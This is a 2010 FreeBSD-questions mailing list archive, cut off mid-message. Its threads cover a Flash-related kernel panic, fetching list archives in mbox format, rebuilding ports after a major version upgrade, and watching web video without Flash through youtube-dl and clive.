From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 01:44:07 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B36AB106564A for ; Sun, 7 Mar 2010 01:44:07 +0000 (UTC) (envelope-from mbeis@xs4all.nl) Received: from smtp-vbr14.xs4all.nl (smtp-vbr14.xs4all.nl [194.109.24.34]) by mx1.freebsd.org (Postfix) with ESMTP id 4CA5C8FC14 for ; Sun, 7 Mar 2010 01:44:06 +0000 (UTC) Received: from yokozuna.lan (213-84-73-82.adsl.xs4all.nl [80.101.78.208]) by smtp-vbr14.xs4all.nl (8.13.8/8.13.8) with ESMTP id o271i56K074437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 7 Mar 2010 02:44:05 +0100 (CET) (envelope-from mbeis@xs4all.nl) Received: from yokozuna.lan (yokozuna.lan [127.0.0.1]) by yokozuna.lan (8.14.4/8.14.4) with ESMTP id o271i5vm009147 for ; Sun, 7 Mar 2010 02:44:05 +0100 (CET) (envelope-from mbeis@xs4all.nl) Date: Sun, 7 Mar 2010 02:44:05 +0100 (CET) From: Marco Beishuizen Sender: marco@yokozuna.lan To: freebsd-questions@freebsd.org Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Virus-Scanned: by XS4ALL Virus Scanner Subject: Non-maskable interrupt trap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Marco Beishuizen List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 01:44:07 -0000 Hi, Fot the first time in years I had a kernel panic in FreeBSD (8.0-ST). While playing a flash movie in Firefox (3.6), everything just locked up and only resetting helped. After the reboot it wrote a corefile in /var/crash/ which is unfortunately too big to read by any text editor. The trap number is 19 and the "current process" was 11. Hope that someone has an idea what has caused this. I just can't imagine that a flash plugin is able to crash FreeBSD. Regards, Marco -- Most people have a furious itch to talk about themselves and are restrained only by the disinclination of others to listen. Reserve is an artificial quality that is developed in most of us as the result of innumerable rebuffs. -- W. S. Maugham From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 02:23:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 49E66106566B for ; Sun, 7 Mar 2010 02:23:23 +0000 (UTC) (envelope-from a_best01@uni-muenster.de) Received: from zivm-exrelay3.uni-muenster.de (ZIVM-EXRELAY3.UNI-MUENSTER.DE [128.176.192.20]) by mx1.freebsd.org (Postfix) with ESMTP id D027F8FC13 for ; Sun, 7 Mar 2010 02:23:22 +0000 (UTC) X-IronPort-AV: E=Sophos;i="4.49,596,1262559600"; d="scan'208";a="27794516" Received: from zivmaildisp1.uni-muenster.de (HELO ZIVMAILUSER05.UNI-MUENSTER.DE) ([128.176.188.85]) by zivm-relay3.uni-muenster.de with ESMTP; 07 Mar 2010 03:23:20 +0100 Received: by ZIVMAILUSER05.UNI-MUENSTER.DE (Postfix, from userid 149459) id E4BB61B07E7; Sun, 7 Mar 2010 03:23:20 +0100 (CET) Date: Sun, 07 Mar 2010 03:23:20 +0100 (CET) From: Alexander Best Sender: Organization: Westfaelische Wilhelms-Universitaet Muenster To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Subject: mailing list archive as mbox X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 02:23:23 -0000 hi there, what are the steps i need to perform to get a copy of the entire mailingslist archive of lets say freebsd-current@ in mbox format? cheers. alex From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 04:12:47 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 28A7B106566C for ; Sun, 7 Mar 2010 04:12:47 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (unknown [IPv6:2607:f678:1010::34]) by mx1.freebsd.org (Postfix) with ESMTP id 039BC8FC18 for ; Sun, 7 Mar 2010 04:12:46 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id o274Cidf024543 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 6 Mar 2010 20:12:44 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id o274Cijb024542; Sat, 6 Mar 2010 20:12:44 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA05837; Sat, 6 Mar 10 20:01:09 PST Date: Sat, 06 Mar 2010 20:06:27 -0800 From: perryh@pluto.rain.com To: mbeis@xs4all.nl Message-Id: <4b932643.A7daCZwQsautCZRx%perryh@pluto.rain.com> References: In-Reply-To: User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Non-maskable interrupt trap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 04:12:47 -0000 Marco Beishuizen wrote: > Fot the first time in years I had a kernel panic in FreeBSD > (8.0-ST). While playing a flash movie in Firefox (3.6), > everything just locked up and only resetting helped. After the > reboot it wrote a corefile in /var/crash/ which is unfortunately > too big to read by any text editor. Corefiles are binary, not usefully readable with anything text oriented. See the Handbook section on Kernel Debugging for how to get a backtrace from it. > ... > Hope that someone has an idea what has caused this. I just can't > imagine that a flash plugin is able to crash FreeBSD. One possible cause is a driver bug in some obscure corner case that the flash player tried to use. From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 04:28:28 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0D0EA1065677 for ; Sun, 7 Mar 2010 04:28:28 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id A48DA8FC19 for ; Sun, 7 Mar 2010 04:28:27 +0000 (UTC) Received: by gyg8 with SMTP id 8so876296gyg.13 for ; Sat, 06 Mar 2010 20:28:26 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:cc:subject :message-id:mail-followup-to:references:mime-version:content-type :content-disposition:in-reply-to:user-agent; bh=+D+FatjTPsnt3q6zbzc3X1KqqzNNYDMbGaYP+txi5EY=; b=Iz5UpeJpJaRREfqKuvz+3u+T6h/v4AqS1aVj34rQmv4lWa0EC0dieded1gZ6cdP+JF V0KwtgxskYJJ4crZXDqXMLGwz9yUoj800IFyQb9XZUp1JTaQ34LCkXyrhhFY2TCB0jO0 IScdnhs9l4SIj8hPORnDh748x1LDETLzku220= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; b=xt9cs5lhebSOy8M0Ls9vOjXBtbMPWaWyljPj4FIKj2hiknHzvhrztcuF5UF/5zZIMT FcaLJLs80RhypL+N8C9aw0MU2LQyeWga6WTg9i0sIQ/GCSTjUwruPjn+QMeh4sBU+Mv+ lGOg5BtbuIE9E3kj5byoSxqTaRFvsP1IhbgWw= Received: by 10.91.122.19 with SMTP id z19mr3660608agm.15.1267936105217; Sat, 06 Mar 2010 20:28:25 -0800 (PST) Received: from gmail.com (125.27.98.98.adsl.dynamic.totbb.net [125.27.98.98]) by mx.google.com with ESMTPS id 23sm1260845ywh.45.2010.03.06.20.28.22 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sat, 06 Mar 2010 20:28:24 -0800 (PST) Date: Sun, 7 Mar 2010 11:30:04 +0700 From: Pongthep Kulkrisada To: Robert Huff Message-ID: <20100307043004.GA3528@gmail.com> Mail-Followup-To: Robert Huff , Chuck Swiger , freebsd Mailing References: <20100305051415.GA1847@gmail.com> <20100305065837.660d3ebd.freebsd@edvax.de> <20100305110049.GA10715@gmail.com> <20100305161210.GA46349@gmail.com> <20100306043513.GA1612@gmail.com> <03A86093-6B0C-429C-86CE-F73C0DEEC347@mac.com> <19346.24635.655335.807552@jerusalem.litteratus.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <19346.24635.655335.807552@jerusalem.litteratus.org> User-Agent: Mutt/1.4.2.3i Cc: freebsd Mailing Subject: Re: Updating ports was Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 04:28:28 -0000 * Chuck Swiger (cswiger@mac.com) wrote: > Yes, it's not enough. > > When you upgrade the base OS to a new major version (ie, going from > 7.x to 8.x), the system libraries get bumped to a new version, but any > libraries coming from ports are still linked against the older version > of the frameworks. If you don't touch anything, backwards > compatibility for 7.x will continue to work fine, but as soon as you > start installing something new or upgrade any port, you run into the > situation where executables are linked against two different versions > of libc.so (etc) and they break. > > For all practical purposes, if you upgrade to a new major version, > then you must rebuild all installed ports. Thank you for your suggestions. I should mention that recently ``cdrecord'' is broken in 8.0. It ran pretty well in 7.2. After I updated the ports and rebuilt, it works fine. But it takes very long time to rebuild all ports. Main problem is KDE, big big ports. Okay, I shall do it, when I have time. > Things going into -CURRENT may not be "well tested", but anything > being merged back to -STABLE ought to be. Humans make mistakes, but I > can't recall more than two or maybe three significant issues over a > decade tracking -STABLE, and these were fixed in a matter of hours. > If you do care about this level of precision, you should be building > to a test platform and then running sanity checks for whatever your > machines do before upgrading production boxes, anyway. > > Beyond that, however, you ought to consider tracking the security > branch, ie, RELENG_8_0, rather than 8-STABLE aka RELENG_8, as the > former does include recommended changes like security bugfixes, but > avoids merging in anything which has not been "well tested". I understand what you said. But I always have no time to do so. Normally, I concentrate on my work rather than tracking new patches. * Robert Huff (roberthuff@rcn.com) wrote: > > Chuck Swiger writes: > And if you have the time and knowledge to not have to do this > ... you're probably not involved in the discussion to begin with. > :-) I upgrade ALL FREQUENT used ports and ALL related libraries required by them. Excluding GUI stuffs. When I want to update *ALL* these kinds of things (2-3 years once), I wget iso images, in stead of cvsup/csup. I always do this way since 5.4 without any problems excepted ``cdrecord'' as mentioned earlier. Thanks, Pongthep From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 04:38:49 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6DC72106566B for ; Sun, 7 Mar 2010 04:38:49 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from email1.allantgroup.com (email1.emsphone.com [199.67.51.115]) by mx1.freebsd.org (Postfix) with ESMTP id 33A658FC18 for ; Sun, 7 Mar 2010 04:38:48 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by email1.allantgroup.com (8.14.0/8.14.0) with ESMTP id o274clrY044587 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 6 Mar 2010 22:38:48 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.4/8.14.3) with ESMTP id o274ckfK027640 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 6 Mar 2010 22:38:47 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.4/8.14.3/Submit) id o274ckWF027583; Sat, 6 Mar 2010 22:38:46 -0600 (CST) (envelope-from dan) Date: Sat, 6 Mar 2010 22:38:45 -0600 From: Dan Nelson To: Alexander Best Message-ID: <20100307043845.GB12122@dan.emsphone.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-OS: FreeBSD 7.2-STABLE User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: clamav-milter 0.95.3 at email1.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (email1.allantgroup.com [199.67.51.78]); Sat, 06 Mar 2010 22:38:48 -0600 (CST) X-Scanned-By: MIMEDefang 2.45 Cc: freebsd-questions@freebsd.org Subject: Re: mailing list archive as mbox X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 04:38:49 -0000 In the last episode (Mar 07), Alexander Best said: > hi there, > > what are the steps i need to perform to get a copy of the entire mailingslist > archive of lets say freebsd-current@ in mbox format? Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/ where you can download weekly gzipped archives of all the mailing lists since their creation. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 05:10:28 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 48E6E106566B for ; Sun, 7 Mar 2010 05:10:28 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 0408B8FC1F for ; Sun, 7 Mar 2010 05:10:27 +0000 (UTC) Received: from r55.edvax.de (port-92-195-36-164.dynamic.qsc.de [92.195.36.164]) by mx02.qsc.de (Postfix) with ESMTP id 739F31DF7B; Sun, 7 Mar 2010 06:10:26 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o275APeE001687; Sun, 7 Mar 2010 06:10:25 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sun, 7 Mar 2010 06:10:25 +0100 From: Polytropon To: Pongthep Kulkrisada Message-Id: <20100307061025.a6d1c0de.freebsd@edvax.de> In-Reply-To: <20100307043004.GA3528@gmail.com> References: <20100305051415.GA1847@gmail.com> <20100305065837.660d3ebd.freebsd@edvax.de> <20100305110049.GA10715@gmail.com> <20100305161210.GA46349@gmail.com> <20100306043513.GA1612@gmail.com> <03A86093-6B0C-429C-86CE-F73C0DEEC347@mac.com> <19346.24635.655335.807552@jerusalem.litteratus.org> <20100307043004.GA3528@gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd Mailing Subject: Re: Updating ports was Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 05:10:28 -0000 On Sun, 7 Mar 2010 11:30:04 +0700, Pongthep Kulkrisada wrote: > But it takes very long time to rebuild all ports. > Main problem is KDE, big big ports. > Okay, I shall do it, when I have time. You can consider using "pkgadd -r" to install binary packages. Those are quite synchon with the ports tree (as they are centrally built from the ports tree). > I understand what you said. > But I always have no time to do so. > Normally, I concentrate on my work rather than tracking new patches. What about using freebsd-update? It delivers patches in binary form for the OS, so you don't need to make world and kernel, and if you're following the 8.x-RELEASE-p track, you don't have to recompile your whole software ports - as it has been mentioned, this is only needed if you update the major version number (e. g. 7.2 -> 8.0). > I upgrade ALL FREQUENT used ports and ALL related libraries required by them. Programs like portmaster can be really helpful here. > Excluding GUI stuffs. Oh yes, the joy if you want to have a german OpenOffice version, where you could run "pkg_add -r de-openoffice" in the past... :-) I know what you mean, I try to avoid compile orgies whenever possible, at least on my home system. On servers which usually don't have GUI stuff, but services that need updates often due to security considerations, it's not a big deal.) > When I want to update *ALL* these kinds of things (2-3 years once), > I wget iso images, in stead of cvsup/csup. The ISO images are tied to a specific OS version, and they can be used with it without problems. You can run into trouble when upgrading the OS, and then try to install software from a CD that expects another OS version. Using "pkg_add -r" offers the same comfortability as installing software from local CD or DVD, but it's usually "up to date" and "fits better" to the ports tree - which is useful when you install software both from source and from binaries. > I always do this way since 5.4 without any problems excepted ``cdrecord'' > as mentioned earlier. Which has been explained. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 06:28:12 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 84877106564A for ; Sun, 7 Mar 2010 06:28:12 +0000 (UTC) (envelope-from baerks@t-online.de) Received: from mailout03.t-online.de (mailout03.t-online.de [194.25.134.81]) by mx1.freebsd.org (Postfix) with ESMTP id 151168FC14 for ; Sun, 7 Mar 2010 06:28:12 +0000 (UTC) Received: from fwd03.aul.t-online.de (fwd03.aul.t-online.de ) by mailout03.t-online.de with smtp id 1No9yF-0002ml-37; Sun, 07 Mar 2010 07:28:11 +0100 Received: from amd.catfish.ddns.org (bRYNsgZZohSqrkS9ZSt3YqoN2j92VnP-gzyHTZGjiojV3mm4k3gWg9Pd-03UxVdgSz@[79.218.96.171]) by fwd03.aul.t-online.de with esmtp id 1No9y9-2KI06S0; Sun, 7 Mar 2010 07:28:05 +0100 Received: from amd.catfish.ddns.org (localhost [127.0.0.1]) by amd.catfish.ddns.org (8.14.3/8.14.3) with ESMTP id o276TnPk087168 for ; Sun, 7 Mar 2010 07:29:50 +0100 (CET) (envelope-from monkel@amd.catfish.ddns.org) Received: (from monkel@localhost) by amd.catfish.ddns.org (8.14.3/8.14.3/Submit) id o276TnBc087167 for freebsd-questions@freebsd.org; Sun, 7 Mar 2010 07:29:49 +0100 (CET) (envelope-from monkel) Date: Sun, 7 Mar 2010 07:29:48 +0100 From: Sabine Baer To: freebsd-questions@freebsd.org Message-ID: <20100307062948.GF9762@amd.catfish.ddns.org> References: <20100305120021.52F79106566B@hub.freebsd.org> <20100306044916.ce02523e.freebsd@edvax.de> <20100306080358.GE9762@amd.catfish.ddns.org> <20100306092541.1b0c279b.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20100306092541.1b0c279b.freebsd@edvax.de> User-Agent: Mutt/1.4.2.3i X-ID: bRYNsgZZohSqrkS9ZSt3YqoN2j92VnP-gzyHTZGjiojV3mm4k3gWg9Pd-03UxVdgSz X-TOI-MSGID: 22429117-2d80-491f-92fd-7ccc466a1468 Subject: Re: Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 06:28:12 -0000 On Sat, Mar 06, 2010 at 09:25:41AM +0100, Polytropon wrote: > On Sat, 6 Mar 2010 09:03:58 +0100, Sabine Baer wrote: > > Well, it is, indeed. Me I am very glad beeing able to do eg > > linux-opera -display :0 http://www.youtube.com/watch?v=bhmf4l4OxNw > > since I live in a Windows free zone at home. > > Well, there's always "youtube-dl -a" for that. Just for YT > I don't need "Flash". The "need", to illustrate that, is > often nothing more than a useless barrier built by people > who don't seem to know better. OK, I really didn't know youtube_dl (and clive someone mentioned in the thread). So, thanks a lot. I youtube-dl-ed my puff pastry examle. It took me 5 minutes and 11.69M space on diks but then I was able to look at it using mplayer. Fine. Same with clive. Fine too. [...] > If a "web designer" abuses (!) "Flash" to raise a barrier, > to make content unavailable, then I am surely not his target > audience. That's his decision, and I accept it. (By the way, > "barrier-free web" and thinking about how disabled people > can participate on informations is something that needs > an educated point of view and some intelligence to consider > it. Still, there are "web developers" who can't provide > this, and so can't their work.) Yes, that's all very true. I remember, when I had linux-fc4 installed and flashplugin7, I tried to look at a video on the site http://www.hr-online.de. The only result was "you haven't the latest version of Adobe's Flash Player". I wrote an email to them and got an answer (that's remarkable, not 'normal', I wrote 2 complaints about accessibility to given contact addresses at European community sites and didn't get any answer) but it wasn't helpful. Well, this site and http://news.bbc.co.uk as well are "barrier-free" so I can use them with lynx only and the videos are a surplus. But I am in the "target audience" of www.hr-online.de at least. BTW, neither clive nor youtube-dl (sic!) can download a video from those sites. Of course, it is the fault of the 'web designers' ignoring those who deny using 'quasi standard OS' and 'quasi standard applications'. But I'm tired of sitting in front of my monitor and thinking 'if they don't want me to look at their content, it's their misfortune'. Sabine -- Nun hat Client B ein "überaus schlaues Tool" laufen, welches augen- blicklich "Einbruch! Zonenalarm! Hülfäää!!!" schreit, was ziemlich blöde ist, ... (TOT in TOS) From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 07:21:06 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58F99106566C for ; Sun, 7 Mar 2010 07:21:06 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 02C738FC08 for ; Sun, 7 Mar 2010 07:21:05 +0000 (UTC) Received: from r55.edvax.de (port-92-195-36-164.dynamic.qsc.de [92.195.36.164]) by mx02.qsc.de (Postfix) with ESMTP id B0BBB1E868; Sun, 7 Mar 2010 08:21:04 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o277L3ZN001979; Sun, 7 Mar 2010 08:21:03 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sun, 7 Mar 2010 08:21:03 +0100 From: Polytropon To: Sabine Baer Message-Id: <20100307082103.4397812c.freebsd@edvax.de> In-Reply-To: <20100307062948.GF9762@amd.catfish.ddns.org> References: <20100305120021.52F79106566B@hub.freebsd.org> <20100306044916.ce02523e.freebsd@edvax.de> <20100306080358.GE9762@amd.catfish.ddns.org> <20100306092541.1b0c279b.freebsd@edvax.de> <20100307062948.GF9762@amd.catfish.ddns.org> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 07:21:06 -0000 On Sun, 7 Mar 2010 07:29:48 +0100, Sabine Baer wrote: > OK, I really didn't know youtube_dl (and clive someone mentioned in > the thread). So, thanks a lot. I youtube-dl-ed my puff pastry examle. > It took me 5 minutes and 11.69M space on diks but then I was able to > look at it using mplayer. Fine. Same with clive. Fine too. The option "youtube-dl -a" is fine, too, because it creates an AVI file on the fly, so you can even share downloaded videos with persons who don't have the luck of being able to use mplayer (with its ability to play every format). It's even possible to combine youtube-dl and mplayer in a way that playing the video starts along with the download, and because the download is linear (to the video itself), you can watch while downloading (thanks to mplayer being able to play incomplete video files), even fullscreen is possible. > I remember, when I had linux-fc4 installed and flashplugin7, I tried > to look at a video on the site http://www.hr-online.de. The only > result was "you haven't the latest version of Adobe's Flash Player". > I wrote an email to them and got an answer (that's remarkable, not > 'normal', I wrote 2 complaints about accessibility to given contact > addresses at European community sites and didn't get any answer) but > it wasn't helpful. Yes, "the latest version", a common problem. What a luck that things like HTML are standard; just imagine a message like "This page is optimized for HTML 8. You currently have HTML 7 installed. The page cannot be displayed at all." :-) That's the difference between standards and what you called "quasi standards" (which are no standards at all, in my opinion). > Well, this site and http://news.bbc.co.uk as well are "barrier-free" > so I can use them with lynx only and the videos are a surplus. Personally, I don't have much fun viewing pages in lynx, but it is an excellent validator to find out how, for example, blind persons see (in the meaning of "content reception", of course) web pages. On very "modern" and "optimized" web pages, they don't see anything. > But I am in the "target audience" of www.hr-online.de at least. > [...] > But I'm tired of sitting in front of my monitor and thinking 'if they > don't want me to look at their content, it's their misfortune'. The keyword here is "target audience". If you consider yourself to be in the target audience of a certain service, you need to fulfill requirements to participate on this service, e. g. having a driving license in order to be part of the motorized traffic. And if HR-online requires you to run "the right" OS and "the right" programs, then you don't have much choice. So if the usage of a certain family of formats intendedly excludes users of many operating systems... Furtunately, "Flash" is quite usable on FreeBSD, allthough there are more than one form to run it (linux binary, OpenSolaris in a VM, "Windows" version in wine). So there usually are ways to see the content that is not intended for us. :-) And I may add that I am thankful to the developers who invest their time in order to provide an ongoing support for "Flash". So maybe it always lasts some time until a FreeBSD based system is able to run the lastest "Flash" stuff, but finally it's possible. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 07:28:18 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 48ADE106566C for ; Sun, 7 Mar 2010 07:28:18 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from mail-yw0-f181.google.com (mail-yw0-f181.google.com [209.85.211.181]) by mx1.freebsd.org (Postfix) with ESMTP id ED2608FC0C for ; Sun, 7 Mar 2010 07:28:17 +0000 (UTC) Received: by ywh11 with SMTP id 11so1227486ywh.13 for ; Sat, 06 Mar 2010 23:28:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:cc:subject :message-id:mail-followup-to:references:mime-version:content-type :content-disposition:in-reply-to:user-agent; bh=qlgthc2tGReIbIEDDD/w8zxqzP4CdEn0emvdXi9HzPA=; b=KPe1OOEueJOG2lRZuOEFR0RGdWN65MTStG20C2cs2pSndOWmeW5IlZ90GfJbXn2a5I g7lZEy+l3gCPsJ9ZlSXHxog7hx1RuKKBvFfsy4pzRQCs0scK9h3Wmy19URG69X6WMPWS KidZ3WmaVichaIr1Gtl+z89oq7+ulrKLdsKr4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; b=l9KA+V1PPF8uSB42OynIRVef/G0CV9ZFVcBVrQSFlpnG2lEjEcgI7/pXhLKm02xaIq 19LTYSIpEOoGxRRIpw3jFI/AG2j2INTU5pz6tK6o/GWVKYNoqYURILIbE81w9jifhAd2 1KdDXspi0Tm/TfjQHL79liKLQzDpVGeTNqVw0= Received: by 10.91.49.17 with SMTP id b17mr527580agk.69.1267946896572; Sat, 06 Mar 2010 23:28:16 -0800 (PST) Received: from gmail.com (125.27.98.98.adsl.dynamic.totbb.net [125.27.98.98]) by mx.google.com with ESMTPS id 22sm3274818iwn.8.2010.03.06.23.28.14 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sat, 06 Mar 2010 23:28:15 -0800 (PST) Date: Sun, 7 Mar 2010 14:29:57 +0700 From: Pongthep Kulkrisada To: Polytropon Message-ID: <20100307072957.GA8366@gmail.com> Mail-Followup-To: Polytropon , freebsd Mailing References: <20100305065837.660d3ebd.freebsd@edvax.de> <20100305110049.GA10715@gmail.com> <20100305161210.GA46349@gmail.com> <20100306043513.GA1612@gmail.com> <03A86093-6B0C-429C-86CE-F73C0DEEC347@mac.com> <19346.24635.655335.807552@jerusalem.litteratus.org> <20100307043004.GA3528@gmail.com> <20100307061025.a6d1c0de.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20100307061025.a6d1c0de.freebsd@edvax.de> User-Agent: Mutt/1.4.2.3i Cc: freebsd Mailing Subject: Re: Updating ports was Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 07:28:18 -0000 Hi Polytropon, Firstly, thanks for your suggestion. * Polytropon (freebsd@edvax.de) wrote: > You can consider using "pkgadd -r" to install binary packages. > Those are quite synchon 